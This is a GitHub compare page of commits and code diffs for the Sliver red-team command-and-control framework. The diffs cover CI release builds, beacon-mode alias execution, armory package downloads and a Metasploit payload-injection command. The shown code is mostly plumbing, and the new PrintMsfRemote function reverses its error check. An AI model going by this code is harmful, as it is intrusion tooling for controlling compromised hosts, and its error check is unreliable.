Compare commits

...
41 Commits
Author SHA1 Message Date
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
Chris Smith ec1339e766 Updated format string 2022-01-25 13:46:57 +00:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
Chris Smith b452d42314 Fix format string for session kills 2022-01-25 01:55:35 +00:00
moloch-- 8e9f6a874c Removed some problematic words from rng dictionaries 2022-01-24 17:21:30 -06:00
moloch-- d0f51d7792 Fix for issue #576 2022-01-24 10:25:33 -06:00
moloch-- ce1d2a2c55 Fix fmt type in kill session 2022-01-24 09:17:59 -06:00
moloch-- 6965958097 fix for issue #575 2022-01-24 08:44:19 -06:00
moloch-- eb8d1bdf11 Add new flags to linux static build 2022-01-23 17:35:55 -06:00
moloch-- 6e5797670d update github pages 2022-01-23 17:23:37 -06:00
Joe c1eeb532e3 Merge pull request #574 from BishopFox/feature/async-alias
Added support for aliases in beacon mode
2022-01-23 15:02:35 -06:00
Joe c7c8027091 Merge pull request #573 from BishopFox/feature/async-ext
Feature/async ext
2022-01-23 14:33:16 -06:00
moloch-- ce27108c1a Added support for aliases in beacon mode 2022-01-23 14:33:02 -06:00
moloch-- 235fb87842 Skip list ext check in beacon mode 2022-01-23 14:02:50 -06:00
moloch-- a0d71f4fe8 fix output 2022-01-23 13:18:02 -06:00
moloch-- 0502f82967 cleanup 2022-01-23 13:07:32 -06:00
moloch-- 2553772ec0 exts execute in beacon mode but no output 2022-01-23 11:58:58 -06:00
moloch-- 406a10d639 initial refactor to support async ext 2022-01-23 10:01:47 -06:00
moloch-- 92b2d2464c initial refactor to support async ext 2022-01-23 10:01:44 -06:00
moloch-- ead0a5ea1e Use golang.org/x/term 2022-01-22 11:44:39 -06:00
moloch-- d0ec264454 hide armory urls on small terminals 2022-01-22 10:23:14 -06:00
moloch-- 9c7e47c95e added armory github.com parser 2022-01-22 08:57:20 -06:00
Joe 4c5a099d5c Merge pull request #569 from BishopFox/fix/alias
Fix/alias
2022-01-22 08:02:49 -06:00
Joe 99e6765896 Merge pull request #568 from BishopFox/fix/namedpipes
fix named pipe pivots
2022-01-21 20:02:30 -06:00
Joe d1dbd3dcb7 Merge pull request #566 from bluec0re/patch-1
Fix broken implants rm command
2022-01-21 09:14:01 -06:00
BlueC0re 8b81de5129 Fix broken implants rm command
ImplantConfig.Name is empty and the config name is instead stored in the map key.
2022-01-21 15:30:05 +01:00
52 changed files with 1686 additions and 1382 deletions

No files matched your search

+40 -31
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
@@ -35,6 +35,8 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -77,10 +83,14 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*
./artifacts/*
+2
View File
@@ -40,3 +40,5 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+14 -12
View File
@@ -3,6 +3,7 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
@@ -89,7 +90,9 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
#
@@ -97,28 +100,28 @@ endif
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
@@ -149,5 +152,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+93 -20
View File
@@ -32,9 +32,11 @@ import (
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -64,12 +66,14 @@ type loadedAlias struct {
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
@@ -230,17 +234,27 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
@@ -255,14 +269,14 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
@@ -272,14 +286,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -300,12 +317,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -319,18 +348,28 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -345,20 +384,54 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
+55 -23
View File
@@ -35,6 +35,7 @@ import (
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
type ArmoryIndex struct {
@@ -87,7 +88,10 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -213,6 +217,38 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
minWidth := 150
if minWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
@@ -240,34 +276,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
if minWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
+97
View File
@@ -28,6 +28,8 @@ import (
"net"
"net/http"
"net/url"
"path"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -45,6 +47,7 @@ var (
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
@@ -339,6 +342,100 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
+1 -1
View File
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
+4 -4
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+23 -6
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+29 -6
View File
@@ -25,14 +25,15 @@ import (
"github.com/bishopfox/sliver/client/console"
